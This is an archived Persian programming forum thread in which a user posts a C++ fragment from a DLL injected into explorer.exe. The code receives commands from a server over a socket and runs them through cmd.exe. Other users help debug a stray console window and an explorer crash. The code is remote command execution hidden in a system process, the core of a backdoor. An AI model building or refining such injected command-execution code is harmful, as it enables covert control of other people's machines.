PDA

View Full Version : پنجره سی ام دی چجوری باید بسته شه؟ از دستوری استفاده نکردم که باز بمونه



fahimeh1512
سه شنبه 13 خرداد 1393, 15:08 عصر
سلام دوستان خسته نباشید من یه کلاینت سرور لوکال نوشتم که کلاینتم به اکسپلورر اینجکت میکنه و با createprocess سی ام دی رو اجرا میکنه و دستوراتی که از سرور دریافت میکنه رو به سی ام دی میده تا دستورا اجرا شن
حالا مشکلم اینه که هر وقت اکسپلورر و باز و بسته میکنم یه پنجره سی ام دی بازمیشه و عبارت press any key to continue... میاد و حتما باید دکمه ای رو بزنم تا بسته شه
تو تالار هم گشتم به جواب نرسیدم تو کد هم اصلا از دستورای system (pause); و getch(); و .. استفاده نکردم
چجوری میشه کاری کرد که باز نمونه سی ام دی؟

parvizwpf
سه شنبه 13 خرداد 1393, 15:17 عصر
exit(0) بجای return رو تست کنید.

fahimeh1512
سه شنبه 13 خرداد 1393, 17:40 عصر
exit(0) بجای return رو تست کنید.
درست نشد :گریه:
راستی اینم بگم کل کد کلاینتم تو دی ال اله لطفا کمک کنییییید

کامبیز اسدزاده
سه شنبه 13 خرداد 1393, 18:20 عصر
درست نشد :گریه:
راستی اینم بگم کل کد کلاینتم تو دی ال اله لطفا کمک کنییییید

کد بزارید تا بررسی شود.

fahimeh1512
سه شنبه 13 خرداد 1393, 19:05 عصر
کد بزارید تا بررسی شود.


char rec_buf[100];


STARTUPINFOA startupInfo = {0};
startupInfo.cb = sizeof(startupInfo);
PROCESS_INFORMATION processInfo = {0};


memset(rec_buf,0,99);


//recieve commands from server
if (recv(Socket,rec_buf,100,0))
{
char *cmd_args= new char[100];
strcat(cmd_args,"cmd /c ");
strcat(cmd_args,rec_buf);


if (CreateProcessA("C:\\Windows\\System32\\cmd.exe",cmd_args,NULL,NULL,FALSE,0,NULL,"C:\\Windows\\System32",&startupInfo,&processInfo))
{
cmd_id=processInfo.dwProcessId;

WaitForSingleObject(processInfo.hProcess,INFINITE) ;

//send results to server
char *success="operation done!";
send(Socket,success,strlen(success),0);


}

else {
char *failure="operation failed!";
send(Socket,failure,strlen(failure),0);
}
}
// Shutdown our socket
shutdown(Socket,SD_BOTH);


// Close our socket entirely
closesocket(Socket);


// Cleanup Winsock
WSACleanup();
system("PAUSE");
return 0;

کامبیز اسدزاده
سه شنبه 13 خرداد 1393, 20:13 عصر
شما بعد از تمامی عملیات از کد زیر استفاده کردین :


system("PAUSE");


این رو حذف کنید.

motherboard
سه شنبه 13 خرداد 1393, 20:20 عصر
کد جالبیه.اصلا تابع اصلی توش وجود نداره.این چه جور کدی هست؟اخه من فکر می کردم که تابع main باید وجود داشته باشه!!!!!! راستش از این کد سر در نمیارم.یا کد شما اشتباه هست و یا اینکه من نسبت به این کد شناخت ندارم.از دوستان کسی هست بگه که ایا شروع کد صحیح هست؟کامپایلر من که سرتاسر ارور داد:گیج:

شما گفتی که:

تو تالار هم گشتم به جواب نرسیدم تو کد هم اصلا از دستورای system (pause); و getch(); و .. استفاده نکردم
اما چیزی رو که متوجه نمیشم چرا تو کدتون هیچ هدرفایلی رو نیاوردید. من که فکر می کنم این کد ایراد های اساسی و پایه ای زیادی رو داره هرچند که شکل و شمایل حرفه ای رو به خودش داره!!!!!! یا من شناختی رو نسبت به این کد ندارم و یا اینکه شما دچار ایراد های اساسی در نوشتن این کد شده اید؟؟؟؟؟:متفکر:

motherboard
سه شنبه 13 خرداد 1393, 20:23 عصر
شما بعد از تمامی عملیات از کد زیر استفاده کردین :


system("PAUSE");


این رو حذف کنید.

این کار هم کردم ولی درست نشد.این چه جور کدی هست؟

کامبیز اسدزاده
سه شنبه 13 خرداد 1393, 20:30 عصر
کد جالبیه.اصلا تابع اصلی توش وجود نداره.این چه جور کدی هست؟اخه من فکر می کردم که تابع main باید وجود داشته باشه!!!!!! راستش از این کد سر در نمیارم.یا کد شما اشتباه هست و یا اینکه من نسبت به این کد شناخت ندارم.از دوستان کسی هست بگه که ایا شروع کد صحیح هست؟کامپایلر من که سرتاسر ارور داد:گیج:

شما گفتی که:

اما چیزی رو که متوجه نمیشم چرا تو کدتون هیچ هدرفایلی رو نیاوردید. من که فکر می کنم این کد ایراد های اساسی و پایه ای زیادی رو داره هرچند که شکل و شمایل حرفه ای رو به خودش داره!!!!!! یا من شناختی رو نسبت به این کد ندارم و یا اینکه شما دچار ایراد های اساسی در نوشتن این کد شده اید؟؟؟؟؟:متفکر:

این کد رو شما باید خودتون وارد تابع main و هیدرو هارو خودتون فراخوانی کنید...
این قسمتی از کدشون هست برا همین نه هیدر داره نه تابع main :لبخندساده: ذاتا باید خودتون تشخیص بدین که چه چیزی کمو کسری داره.

fahimeh1512
سه شنبه 13 خرداد 1393, 22:17 عصر
شما بعد از تمامی عملیات از کد زیر استفاده کردین :


system("PAUSE");


این رو حذف کنید.

خیلی ممنون که گفتین چقد من خنگم تو بخشای دیگه کدم چون از این دستور استفاده نکرده بودم به کل فراموش کرده بودم که این قسمت این دستور و داره حتی وقتی کد رو اینجا گذاشتم ندیدمش!
الان خدا رو شکر سی ام دی بسته میشه ولی نمیدونم چرا اکسپلورر هنگ میکنه و بعدم کرش :متفکر:

کامبیز اسدزاده
سه شنبه 13 خرداد 1393, 22:23 عصر
خیلی ممنون که گفتین چقد من خنگم تو بخشای دیگه کدم چون از این دستور استفاده نکرده بودم به کل فراموش کرده بودم که این قسمت این دستور و داره حتی وقتی کد رو اینجا گذاشتم ندیدمش!
الان خدا رو شکر سی ام دی بسته میشه ولی نمیدونم چرا اکسپلورر هنگ میکنه و بعدم کرش :متفکر:

در رابطه با کرش و هنگ کردن دیباگش کنید‌! دقیقا ببینید چه خطایی رو LOG میکنه براتون.

fahimeh1512
سه شنبه 13 خرداد 1393, 22:24 عصر
کد جالبیه.اصلا تابع اصلی توش وجود نداره.این چه جور کدی هست؟اخه من فکر می کردم که تابع main باید وجود داشته باشه!!!!!! راستش از این کد سر در نمیارم.یا کد شما اشتباه هست و یا اینکه من نسبت به این کد شناخت ندارم.از دوستان کسی هست بگه که ایا شروع کد صحیح هست؟کامپایلر من که سرتاسر ارور داد:گیج:

شما گفتی که:

اما چیزی رو که متوجه نمیشم چرا تو کدتون هیچ هدرفایلی رو نیاوردید. من که فکر می کنم این کد ایراد های اساسی و پایه ای زیادی رو داره هرچند که شکل و شمایل حرفه ای رو به خودش داره!!!!!! یا من شناختی رو نسبت به این کد ندارم و یا اینکه شما دچار ایراد های اساسی در نوشتن این کد شده اید؟؟؟؟؟:متفکر:
دوست عزیز ببخشید شاید من زیاد واضح توضیح ندادم
این بخشی از تابع اصلیه که گذاشتم که تو دی ال ال تعریف شده و با یه سرور لوکال ارتباط برقرار میکنه و این بخشی که گذاشتم دستور و دریافت میکنه ممنون از توجهتون

حامد مصافی
سه شنبه 13 خرداد 1393, 23:10 عصر
شما با createProcess خود دستورات رو اجرا کن. دیگه چرا cmd رو باز می‌کنی که اونجا اجرا کنی؟
لقمه رو دور سرت میچرخونی؟

fahimeh1512
چهارشنبه 14 خرداد 1393, 15:01 عصر
شما با createProcess خود دستورات رو اجرا کن. دیگه چرا cmd رو باز می‌کنی که اونجا اجرا کنی؟
لقمه رو دور سرت میچرخونی؟
:متفکر: چون میخواستم دسترسی ادمین داشته باشم سی ام دی رو از سیستم32 اجرا کردم ولی الان با حرف شما به شک افتادم فکر کنم همونجوری هم بشه :متفکر: